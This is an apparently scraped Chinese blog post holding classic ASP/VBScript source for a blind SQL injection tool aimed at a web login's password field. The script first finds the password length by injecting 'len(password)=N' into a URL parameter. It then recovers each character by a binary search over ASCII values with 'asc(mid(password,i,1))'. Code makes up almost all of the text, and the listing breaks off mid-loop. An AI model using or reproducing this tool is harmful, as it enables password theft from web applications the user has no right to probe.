标签:style http color os io for art cti
‘==== 字符转换
Function bytes2BSTR(vIn)
strReturn = ""
For j = 1 To LenB(vIn)
ThisCharCode = AscB(MidB(vIn,j,1))
If ThisCharCode < &H80 Then
strReturn = strReturn & Chr(ThisCharCode)
Else
NextCharCode = AscB(MidB(vIn,j+1,1))
strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
j = j + 1
End If
Next
bytes2BSTR = strReturn
End Function
‘ 以下是取网页内容 ==========
Function GetUrl(Url)
set oSend=createobject("Microsoft.XMLHTTP")
SourceCode = oSend.open ("GET",url,false)
oSend.send()
SourceCode = bytes2BSTR(oSend.responseBody)
GetUrl = SourceCode
End Function
‘以下是推断返回页面效果
Function ChkPage(SourceCode,SucKey,ErrKey)
if Instr(SourceCode,SucKey) > 0 then
ChkPage=true ‘页面返回成功
exit function
end if
if Instr(SourceCode,ErrKey) > 0 then
ChkPage=false ‘页面出错
exit function
end if
ChkPage=false ‘keyword信息不正确或者是页面未连接
response.write("keyword信息不正确或者是页面未连接")
response.end
End Function
‘開始破解
‘Dim url,username,password,SucKey,
Dim PassLenUrl
Dim PassLen
Dim ChkPassLen
If request("begin")<>"" then
response.cookies("PassLen")=0
url=request("url")
username=request("username")
password=request("password")
SucKey=request("SucKey")
ErrKey=request("ErrKey")
response.write("第一步,破解password长度<BR>")
PassLen = 1
ChkPassLen = false
Do while not ChkPassLen
PassLenUrl = Url & username & "‘%20and%20len(" & password & ")=" & PassLen & "%20and%20‘1‘=‘1"
response.write("当前測试password位数为“" & PassLen & "”,请稍等......<BR>")
ChkPassLen = ChkPage(GetUrl(PassLenUrl),SucKey,ErrKey)
If ChkPassLen Then
response.write("成功!!!password位数已经測试出来了,開始測试详细位数<BR>")
exit do
Else
response.write("不行,继续下一位測试!<BR>")
End If
If PassLen > MaxPassLen then
response.write( "password位数未能測试出,请确认是否有此用户或又一次调整password长度范围")
response.end
exit do
End If
PassLen = PassLen + 1
Loop
response.write ("<FONT COLOR=red>已经測试出password长度为" & PassLen & ",開始測试详细password值</FONT><BR><BR>")
‘循环每一位
Dim Asc1,Asc2,Asc10,Asc20,Ascstr
‘Dim AscArr(PassLen)
Dim ChkPass,Asctemp1,Asctemp,count
Ascstr = ""
For i=1 to PassLen
ChkPass = false
Asc1 = 33
Asc2 = 126
response.write "開始破解第" & i & "位password<BR>"
‘用二分法取asc码范围
count=1
suc=false
Do while not suc
Asctemp1=Asctemp
if (Asc2-Asc1) mod 2 = 1 then
Asctemp=(Asc2-Asc1-1)/2
else
Asctemp=(Asc2-Asc1)/2
end if
response.write "划定password范围为:" & chr(Asc1) & " -- " & chr(Asc2) & PassLenUrl & "<BR>"
PassLenUrl = Url & username & "‘%20and%20asc(mid(password,"&i&",1))>=" & int(Asc1) & "%20and%20asc(mid(password,"&i&",1))<=" & int(Asc2) & "%20and%20‘1‘=‘1"
response.write "划定password范围为:" & chr(Asc1) & " -- " & chr(Asc2) & PassLenUrl & "<BR>"
ChkPass = ChkPage(GetUrl(PassLenUrl),SucKey,ErrKey)
if Asc1 = 33 and Asc2 = 126 and not ChkPass then
response.write "password不在所设定ASC码范围内"
%>
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标签:style http color os io for art cti
原文地址:http://www.cnblogs.com/mengfanrong/p/3880906.html